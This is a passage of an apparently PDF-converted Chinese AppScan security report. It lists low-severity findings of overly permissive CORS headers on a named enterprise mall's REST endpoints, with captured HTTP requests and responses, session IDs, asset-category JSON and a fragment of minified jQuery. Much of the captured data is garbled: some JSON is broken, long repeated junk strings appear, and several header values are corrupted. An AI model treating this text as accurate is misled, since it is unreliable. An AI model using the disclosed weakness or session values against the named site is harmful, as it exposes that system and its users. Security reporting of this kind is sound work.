User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1 1 200 OK
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:10:50 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
         "[{\"classId\":2693,\"isParent\":false,\"statusVal\":1,\"name\":\"
                                                                                    设备类
\",\"pId\":\"1\",\"id\":\"01\",\"endflag\":1},
{\"classId\":2700,\"isParent\":false,\"statusVal\":1,\"name\":\"办公设备
\",\"pId\":\"01\",\"id\":\"01004\",\"endflag\":1},
{\"classId\":2694,\"isParent\":false,\"statusVal\":1,\"name\":\"耗材类
\",\"pId\":\"1\",\"id\":\"02\",\"endflag\":1},
{\"classId\":2701,\"isParent\":false,\"statusVal\":1,\"name\":\"文具用品
\",\"pId\":\"02\",\"id\":\"02001\",\"endflag\":1},
{\"classId\":2695,\"isParent\":false,\"statusVal\":1,\"name\":\"场地类
\",\"pId\":\"1\",\"id\":\"03\",\"endflag\":1},
{\"classId\":2704,\"isParent\":false,\"statusVal\":1,\"name\":\"场地租用
\",\"pId\":\"03\",\"id\":\"03001\",\"endflag\":1},
{\"classId\":2705,\"isParent\":false,\"statusVal\":1,\"name\":\"工位租用
\",\"pId\":\"03\",\"id\":\"03002\",\"endflag\":1
{\"classId\":2706,\"isParent\":false,\"statusVal\":1,\"name\":\"会场租用
\",\"pId\":\"03\",\"id\":\"03003\",\"endflag\":1},
{\"classId\":2696,\"isParent\":false,\"statusVal\":1,\"name\":\"服务类
\",\"pId\":\"1\",\"id\":\"04\",\"endflag\":1},
{\"classId\":2707,\"isParent\":false,\"statusVal\":1,\"name\":\"行政服务
\",\"pId\":\"04\",\"id\":\"04001\",\"endflag\":1},
{\"classId\":2692,\"isParent\":false,\"statusVal\":1,\"name\":\"资源商城
", "pId": "0\", "id\": \"1\", \"endflag\":1},
{\"classId\":2699,\"isParent\":false,\"statusVal\":1,\"name\":\"电子产品及通信设备
\",\"pId\":\"01\",\"id\":\"01003\",\"endflag\":1}
{\"classId\":2702,\"isParent\":false,\"statusVal\":1,\"name\":\"办公耗材
```

```
\",\"pId\":\"02\",\"id\":\"02002\",\"endflag\":1},
{\"classId\":2698,\"isParent\":false,\"statusVal\":1,\"name\":\"家具用具及其他
\",\"pId\":\"01\",\"id\":\"01002\",\"endflag\":1},
{\"classId\":2723,\"isParent\":false,\"statusVal\":1,\"name\":\"20180104\",\"pId\":\"01\",\"id\":\"01007\",\"endflag\":1}, {\"classId\":2703,\"isParent\":false,\"statusVal\":1,\"name\":\"5alse,\"statusVal\":1,\"name\":\"1,\"name\":\"1,\"name\":\"1,\"name\":\"1,\"name\":\"1,\"name\":\"1,\"name\":\"1,\"name\":\"1,\"name\":\"1,\"name\":\"1,\"name\":\"5m2\",\"pId\":\"1,\"name\":\"5m2\",\"pId\":\"1,\"name\":\"5m2\",\"pId\":\"1,\"name\":\"5m2\",\"pId\":\"1,\"name\":\"5m2\",\"pId\":\"1,\"name\":\"5m2\",\"pId\":\"1,\"name\":\"5m2\",\"pId\":\"1,\"name\":\"5m2\",\"pId\":\"1,\"name\":\"5m2\",\"pId\":\"1,\"name\":\"5m2\",\"pId\":\"1,\"name\":\"5m2\",\"pId\":\"1,\"name\":\"5m2\",\"pId\":\"1,\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"5m2\",\"name\":\"
```

变体-|7/10

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /goodsclass/initTreeNode?t=1515669232000 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; g=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:12:54 GMT
Content-Type: application/json
Transfer-Encoding: chunked
  "data": [
    "[{\"classId\":2710,\"isParent\":false,\"statusVal\":0,\"name\":\"
    "    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"    \"   \
                                                                                                                                                                亦乐测试分类
\",\"pId\":\"03\",\"id\":\"03004\",\"endflag\":1},
{\"classId\":2693,\"isParent\":false,\"statusVal\":1,\"name\":\"设备类
\",\"pId\":\"1\",\"id\":\"01\",\"endflag\":1},
{\"classId\":2700,\"isParent\":false,\"statusVal\":1,\"name\":\"办公设备
 \",\"pId\":\"01\",\"id\":\"01004\",\"endflag\":1},
\",\"pId\":\"02\",\"id\":\"02001\",\"endflag\":1},
 {\"classId\":2695,\"isParent\":false,\"statusVal\":1,\"name\":\"场地类
 \",\"pId\":\"1\",\"id\":\"03\",\"endflag\":1},
{\"classId\":2704,\"isParent\":false,\"statusVal\":1,\"name\":\"场地租用
 \",\"pId\":\"03\",\"id\":\"03001\",\"endflag\":1},
{\"classId\":2705,\"isParent\":false,\"statusVal\":1,\"name\":\"工位租用
 \",\"pId\":\"03\",\"id\":\"03002\",\"endflag\":1},
 {\"classId\":2706,\"isParent\":false,\"statusVal\":1,\"name\":\"会场租用
 \",\"pId\":\"03\",\"id\":\"03003\",\"endflag\":1},
{\"classId\":2696,\"isParent\":false,\"statusVal\":1,\"name\":\"服务类
\",\"pId\":\"1\",\"id\":\"04\",\"endflag\":1},
{\"classId\":2707,\"isParent\":false,\"statusVal\":1,\"name\":\"行政服务
\",\"pId\":\"04\",\"id\":\"04001\",\"endflag\":1},
```

```
{\"classId\":2708,\"isParent\":false,\"statusVal\":0,\"name\":\"保洁服务
\",\"pId\":\"04\",\"id\":\"04002\",\"endflag\":1},
{\"classId\":2709,\"isParent\":false,\"statusVal\":0,\"name\":\"绿植服务
\",\"pId\":\"04\",\"id\":\"04003\",\"endflag\":1},
{\"classId\":2692,\"isParent\":false,\"statusVal\":1,\"name\":\"资源商城
\",\"pId\":\"01\",\"id\":\"01003\",\"endflag\":1},
{\"classId\":2702,\"isParent\":false,\"statusVal\":1,\"name\":\"办公耗材
\",\"pId\":\"02\",\"id\":\"02002\",\"endflag\":1},
{\"classId\":2698,\"isParent\":false,\"statusVal\":1,\"name\":\"家具用具及其他
\",\"pId\":\"01\",\"id\":\"01002\",\"endflag\":1},
{\"classId\":2723,\"isParent\":false,\"statusVal\":1,\"name\":\"20180104\",\"pId\":\"01\",\"id\":
\"01007\",\"endflag\":1},{\"classId\":2703,\"isParent\":false,\"statusVal\":1,\"name\":\"日用百货
\",\"pId\":\"02\",\"id\":\"02003\",\"endflag\":1},
{\"classId\":2697,\"isParent\":false,\"statusVal\":0,\"name\":\"电气设备
\",\"pId\":\"01\",\"id\":\"01001\",\"endflag\":1},
{\"classId\":2718,\"isParent\":false,\"statusVal\":1,\"name\":\"专用设备
\",\"pId\":\"01\",\"id\":\"01005\",\"endflag\":1},
{\"classId\":2719,\"isParent\":false,\"statusVal\":1,\"name\":\"交通运输设备
\",\"pId\":\"01\",\"id\":\"01006\",\"endflag\":1}]"
 "returnCode": 1,
              资产分类树节点",
"msg": "
"html": null
```

变体-|8/10

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
GET /goodsclass/initTreeNode?t=1515669290409 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
{\tt Host: vr-goods-rest-enterprise.mall.xt.weilian.cn}
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:12:54 GMT
Content-Type: application/json
Transfer-Encoding: chunked
         "[{\"classId\":2710,\"isParent\":false,\"statusVal\":0,\"name\":\"
                                                                                   亦乐测试分类
\",\"pId\":\"03\",\"id\":\"03004\",\"endflag\":1},
{\"classId\":2693,\"isParent\":false,\"statusVal\":1,\"name\":\"设备类
\",\"pId\":\"1\",\"id\":\"01\",\"endflag\":1},
{\"classId\":2700,\"isParent\":false,\"statusVal\":1,\"name\":\"办公设备
\",\"pId\":\"01\",\"id\":\"01004\",\"endflag\":1},
{\"classId\":2694,\"isParent\":false,\"statusVal\":1,\"name\":\"耗材类
\",\"pId\":\"1\",\"id\":\"02\",\"endflag\":1},
{\"classId\":2701,\"isParent\":false,\"statusVal\":1,\"name\":\"文具用品
\",\"pId\":\"02\",\"id\":\"02001\",\"endflag\":1}
{\"classId\":2695,\"isParent\":false,\"statusVal\":1,\"name\":\"场地类
```

```
\",\"pId\":\"1\",\"id\":\"03\",\"endflag\":1},
{\"classId\":2704,\"isParent\":false,\"statusVal\":1,\"name\":\"场地租用
\",\"pId\":\"03\",\"id\":\"03001\",\"endflag\":1},
{\"classId\":2705,\"isParent\":false,\"statusVal\":1,\"name\":\"工位租用
\",\"pId\":\"03\",\"id\":\"03002\",\"endflag\":1},
{\"classId\":2706,\"isParent\":false,\"statusVal\":1,\"name\":\"会场租用
\",\"pId\":\"03\",\"id\":\"03003\",\"endflag\":1},
{\"classId\":2696,\"isParent\":false,\"statusVal\":1,\"name\":\"服务类
\",\"pId\":\"1\",\"id\":\"04\",\"endflag\":1},
{\"classId\":2707,\"isParent\":false,\"statusVal\":1,\"name\":\"行政服务
\",\"pId\":\"04\",\"id\":\"04001\",\"endflag\":1}
{\"classId\":2708,\"isParent\":false,\"statusVal\":0,\"name\":\"保洁服务
\",\"pId\":\"04\",\"id\":\"04002\",\"endflag\":1},
{\"classId\":2709,\"isParent\":false,\"statusVal\":0,\"name\":\"绿植服务
\",\"pId\":\"04\",\"id\":\"04003\",\"endflag\":1},
{\"classId\":2692,\"isParent\":false,\"statusVal\":1,\"name\":\"资源商城
\",\"pId\":\"0\",\"id\":\"1\",\"endflag\":1},
{\"classId\":2699,\"isParent\":false,\"statusVal\":1,\"name\":\"电子产品及通信设备
\",\"pId\":\"01\",\"id\":\"01003\",\"endflag\":1},
{\"classId\":2702,\"isParent\":false,\"statusVal\":1,\"name\":\"办公耗材
\",\"pId\":\"02\",\"id\":\"02002\",\"endflag\":1},
{\"classId\":2698,\"isParent\":false,\"statusVal\":1,\"name\":\"家具用具及其他
\",\"pId\":\"01\",\"id\":\"01002\",\"endflag\":1},
{\"classId\":2723,\"isParent\":false,\"statusVal\":1,\"name\":\"20180104\",\"pId\":\"01\",\"id\":\"01007\",\"endflag\":1},{\"classId\":2703,\"isParent\":false,\"statusVal\":1,\"name\":\"日用百货
\",\"pId\":\"02\",\"id\":\"02003\",\"endflag\":1},
{\"classId\":2697,\"isParent\":false,\"statusVal\":0,\"name\":\"电气设备
\",\"pId\":\"01\",\"id\":\"01001\",\"endflag\":1},
{\"classId\":2718,\"isParent\":false,\"statusVal\":1,\"name\":\"专用设备
\",\"pId\":\"01\",\"id\":\"01005\",\"endflag\":1},
{\"classId\":2719,\"isParent\":false,\"statusVal\":1,\"name\":\"交通运输设备
\",\"pId\":\"01\",\"id\":\"01006\",\"endflag\":1}]"
 "returnCode": 1,
                资产分类树节点",
 "msg": "
 "html": null
```

变体- | 9 / 10

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
GET /goodsclass/initTreeNode?status=1&t=1515669286121 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1 1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:10:50 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
```

```
"[{\"classId\":2693,\"isParent\":false,\"statusVal\":1,\"name\":\" 设备类
\",\"pId\":\"1\",\"id\":\"01\",\"endflag\":1},
{\"classId\":2700,\"isParent\":false,\"statusVal\":1,\"name\":\"办公设备
\",\"pId\":\"01\",\"id\":\"01004\",\"endflag\":1},
{\"classId\":2694,\"isParent\":false,\"statusVal\":1,\"name\":\"耗材类
\",\"pId\":\"1\",\"id\":\"02\",\"endflag\":1},
{\"classId\":2701,\"isParent\":false,\"statusVal\":1,\"name\":\"文具用品
\",\"pId\":\"02\",\"id\":\"02001\",\"endflag\":1},
{\"classId\":2695,\"isParent\":false,\"statusVal\":1,\"name\":\"场地类
\",\"pId\":\"1\",\"id\":\"03\",\"endflag\":1},
{\"classId\":2704,\"isParent\":false,\"statusVal\":1,\"name\":\"场地租用
\",\"pId\":\"03\",\"id\":\"03001\",\"endflag\":1}
{\"classId\":2705,\"isParent\":false,\"statusVal\":1,\"name\":\"工位租用
\",\"pId\":\"03\",\"id\":\"03002\",\"endflag\":1},
{\"classId\":2706,\"isParent\":false,\"statusVal\":1,\"name\":\"会场租用
\",\"pId\":\"03\",\"id\":\"03003\",\"endflag\":1
{\"classId\":2696,\"isParent\":false,\"statusVal\":1,\"name\":\"服务类
\",\"pId\":\"1\",\"id\":\"04\",\"endflag\":1},
{\"classId\":2707,\"isParent\":false,\"statusVal\":1,\"name\":\"行政服务
\",\"pId\":\"04\",\"id\":\"04001\",\"endflag\":1},
{\"classId\":2692,\"isParent\":false,\"statusVal\":1,\"name\":\"资源商城
\",\"pId\":\"0\",\"id\":\"1\",\"endflag\":1},
{\"classId\":2699,\"isParent\":false,\"statusVal\":1,\"name\":\"电子产品及通信设备
\",\"pId\":\"01\",\"id\":\"01003\",\"endflag\":1},
{\"classId\":2702,\"isParent\":false,\"statusVal\":1,\"name\":\"办公耗材
\",\"pId\":\"02\",\"id\":\"02002\",\"endflag\":1},
{\"classId\":2698,\"isParent\":false,\"statusVal\":1,\"name\":\"家具用具及其他
\",\"pId\":\"01\",\"id\":\"01002\",\"endflag\":1},
{\"classId\":2723,\"isParent\":false,\"statusVal\":1,\"name\":\"20180104\",\"pId\":\"01\",\"id\":
\"01007\",\"endflag\":1},{\"classId\":2703,\"isParent\":false,\"statusVal\":1,\"name\":\"日用百货
\",\"pId\":\"02\",\"id\":\"02003\",\"endflag\":1},
{\"classId\":2718,\"isParent\":false,\"statusVal\":1,\"name\":\"专用设备
\",\"pId\":\"01\",\"id\":\"01005\",\"endflag\":1},
{\"classId\":2719,\"isParent\":false,\"statusVal\":1,\"name\":\"交通运输设备
\",\"pId\":\"01\",\"id\":\"01006\",\"endflag\":1}]"
 "returnCode": 1,
               资产分类树节点",
 "msa": "
 "html": null
```

变体- | 10 / 10

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
GET /goodsclass/initTreeNode?id=0&t=1515669550396&status=1 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; g=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:10:50 GMT
Content-Type: application/json
Transfer-Encoding: chunked
```

```
"[{\"classId\":2693,\"isParent\":false,\"statusVal\":1,\"name\":\"
                                                                                   设备类
\",\"pId\":\"1\",\"id\":\"01\",\"endflag\":1},
{\"classId\":2700,\"isParent\":false,\"statusVal\":1,\"name\":\"办公设备\",\"pId\":\"01\",\"id\":\"01004\",\"endflag\":1},
{\"classId\":2694,\"isParent\":false,\"statusVal\":1,\"name\":\"耗材类
\",\"pId\":\"1\",\"id\":\"02\",\"endflag\":1},
{\"classId\":2701,\"isParent\":false,\"statusVal\":1,\"name\":\"文具用品
\",\"pId\":\"02\",\"id\":\"02001\",\"endflag\":1},
{\"classId\":2695,\"isParent\":false,\"statusVal\":1,\"name\":\"场地类
\",\"pId\":\"1\",\"id\":\"03\",\"endflag\":1},
{\"classId\":2704,\"isParent\":false,\"statusVal\":1,\"name\":\"场地租用
\",\"pId\":\"03\",\"id\":\"03001\",\"endflag\":1},
{\"classId\":2705,\"isParent\":false,\"statusVal\":1,\"name\":\"工位租用
\",\"pId\":\"03\",\"id\":\"03002\",\"endflag\":1},
{\"classId\":2706,\"isParent\":false,\"statusVal\":1,\"name\":\"会场租用
\",\"pId\":\"03\",\"id\":\"03003\",\"endflag\":1},
{\"classId\":2696,\"isParent\":false,\"statusVal\":1,\"name\":\"服务类
\",\"pId\":\"1\",\"id\":\"04\",\"endflag\":1},
{\"classId\":2707,\"isParent\":false,\"statusVal\":1,\"name\":\"行政服务
\",\"pId\":\"04\",\"id\":\"04001\",\"endflag\":1},
{\"classId\":2692,\"isParent\":false,\"statusVal\":1,\"name\":\"资源商城
\",\"pId\":\"0\",\"id\":\"1\",\"endflag\":1},
{\"classId\":2699,\"isParent\":false,\"statusVal\":1,\"name\":\"电子产品及通信设备
\",\"pId\":\"01\",\"id\":\"01003\",\"endflag\":1},
{\"classId\":2702,\"isParent\":false,\"statusVal\":1,\"name\":\"办公耗材
\",\"pId\":\"02\",\"id\":\"02002\",\"endflag\":1},
{\"classId\":2698,\"isParent\":false,\"statusVal\":1,\"name\":\"家具用具及其他
\",\"pId\":\"01\",\"id\":\"01002\",\"endflag\":1},
{\"classId\":2723,\"isParent\":false,\"statusVal\":1,\"name\":\"20180104\",\"pId\":\"01\",\"id\":
\"01007\",\"endflag\":1},{\"classId\":2703,\"isParent\":false,\"statusVal\":1,\"name\":\"日用百货
\",\"pId\":\"02\",\"id\":\"02003\",\"endflag\":1},
{\"classId\":2718,\"isParent\":false,\"statusVal\":1,\"name\":\"专用设备
\",\"pId\":\"01\",\"id\":\"01005\",\"endflag\":1},
{\"classId\":2719,\"isParent\":false,\"statusVal\":1,\"name\":\"交通运输设备
\",\"pId\":\"01\",\"id\":\"01006\",\"endflag\":1}]"
 "returnCode": 1,
                资产分类树节点",
 "msg": "
"html": null
```

问题 17 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	€ The state of th
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/pubApprovalType/selectList
实体:	selectList (Page)
X E	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
GET /pubApprovalType/selectList HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:11:26 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "code": null,
 "msg": null,
 "data": [
                         {
  "enterpriseid": 55,
                          "status": 1,
                          "approvaltypeid": 1,
"approvaltypename": "出库流程",
"actdefid": "zcck:1:10000000822986",
                                                        出库流程",
                          "approvalurl": null
        ]
}
```

问题 18 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	低
CVSS 分数:	5.0
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/jquery-1.7.2.min.js
实体:	jquery-1.7.2.min.js (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
GET /static/orderpage/jquery-1.7.2.min.js HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1 1 200 OK
Content-Length: 94843
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:53 GMT
 /*! jQuery v1.7.2 jquery.com | jquery.org/license */
  (function(a,b) {function cy(a) {return f.isWindow(a)?a:a.nodeType===9?
a.defaultView||a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f("
 <"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){ck||
 (ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.
<!doctype html>":"") +"<html>
 \verb|\document| \document| \do
ld(ck) }cj[a] = e } return cj[a] } function ct(a,b) {var c=
 {};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}function cs()
 {cq=b}function cr(){setTimeout(cs,0);return cq=f.now()}function ci(){try{return new
a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ch(){try{return new
\verb|a.XMLHttpRequest| catch(b) {|} function cb(a,c) {|a.dataFilter&&(c=a.dataFilter(c,a.dataType)); variable for the context of the context o
\texttt{d=a.dataTypes,e=\{}\}, \texttt{g,h,i=d.length,j,k=d[0],l,m,n,o,p;} \\ \texttt{for} \\ \texttt{(g=1;g<i;g++)} \\ \texttt{(if} \\ \texttt{(g===1)} \\ \texttt{for} \\ \texttt{(h.in,m,n,o,p;} \\ \texttt{
a.converters)typeof h=="string"&&
  "+k, n=e[m] \mid |e["*"+k]; if(!n) \{p=b; for(o in e) \{j=o.split(""); if(j[0]===1||j[0]==="*") \{p=e[j[1]+" in embedding a substitution of the context of the c
"+k];if(p){o=e[o],o===!0?n=p:p===!0&&(n=o);break}}}}!n&&!p&&f.error("No conversion from
"+m.replace(" "," to ")),n!==!0&&(c=n?n(c):p(o(c)))}}return c}function ca(a,c,d){var
e=a.contents,f=a.dataTypes,g=a.responseFields,h,i,j,k;for(i in g)i in d&&
 type"));if(h)for(i in e)if(e[i]&&e[i].test(h)){f.unshift(i);break}if(f[0]in d)j=f[0];else{for(i
in d){if(!f[0]||a.converters[i+" "+f[0]]){j=i;break}k||(k=i)}j=j||k}if(j)
  \{j! = \\ f[0] \& \& f. unshift(j); return \ d[j]\} \} function \ b_(a,b,c,d) \\ \{if(f.isArray(b))f. each(b,function(b,e))\} \} function(b,e) \} 
  {c||bD.test(a)?d(a,e):b (a+"["+(typeof e=="object"?b:"")+"]",e,c,d)});else
 if(!c&&f.type(b)==="object")for(var e in b)b (a+"["+e+"]",b[e],c,d);else d(a,b)}function b$(a,c)
  \{ var \ d, e, g = f. \ ajaxSettings. flatOptions | \ | \ \{ \}; for (d \ in \ c) c[d] \ ! == b \& \& ( (g[d]?a:e| | (e=\{\})) \} 
 [d]=c[d]); e&&f.extend(!0,a,e)} function bZ(a,c,d,e,f,q){f=f||c.dataTypes[0],q=q||{},q[f]=!0;var
